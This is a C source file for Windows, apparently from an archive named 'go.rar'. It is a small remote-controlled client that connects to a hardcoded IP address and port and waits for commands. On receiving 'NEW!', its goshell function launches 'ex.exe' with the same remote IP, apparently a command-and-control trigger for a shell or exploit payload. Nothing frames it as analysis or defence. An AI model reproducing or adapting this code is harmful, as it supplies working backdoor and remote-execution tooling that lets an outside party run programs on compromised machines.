go.rar_Go_ Go_ Go!_go

#include <stdlib.h> #include <stdio.h> #include <windows.h> #pragma comment (lib,"ws2_32") BOOL sendtotalbuff(SOCKET sock,char * buff,int len) { int left; int ret; int idx=0; left=len; while(left>0) { ret=send(sock,&buff[idx],left,0); if(ret==0) break; else if(ret==SOCKET_ERROR) { printf("send()failed:%d\n", WSAGetLastError()); return FALSE; } left-=ret; idx+=ret; } return TRUE; } BOOL recvtotalbuff(SOCKET sock,char * buff,int len) { int left; int ret; int idx=0; left=len; while(left>0) { ret=recv(sock,&buff[idx],left,0); if(ret==0) break; else if(ret==SOCKET_ERROR) { printf("recv()failed:%d\n", WSAGetLastError()); return FALSE; } left-=ret; idx+=ret; } return TRUE; } // ripped from isno int Make_Connection(char *address,int port,int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons(port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; } void goshell() { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); // 执行子程序 if( !CreateProcess( NULL, // No module name (use command line) "ex.exe 69.59.212.67",//d line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // 句柄对象继承 FALSE CREATE_NEW_CONSOLE, // No creation flags NULL, // 使用父进程的环境变量 NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi ) // Pointer to PROCESS_INFORMATION structure ) { printf( "CreateProcess failed (%d)\n", GetLastError() ); return; } } int main() { char buff[250]; WSADATA WSAData; SOCKET s; if(WSAStartup (MAKEWORD(2,2), &WSAData) != 0) { printf("[-] WSAStartup failed.\n"); WSACleanup(); exit(1); } s=Make_Connection("69.59.212.67",1183,10); if(s<0) { printf("connect failed\n"); return -1; } while(1) { Sleep(200); memset(buff,0,250); recvtotalbuff(s,buff,250); if(strcmp(buff,"KEEP")==0) { printf("keep\n"); }else if(strcmp(buff,"NEW!")==0) { printf("NEW!\n"); goshell(); } } }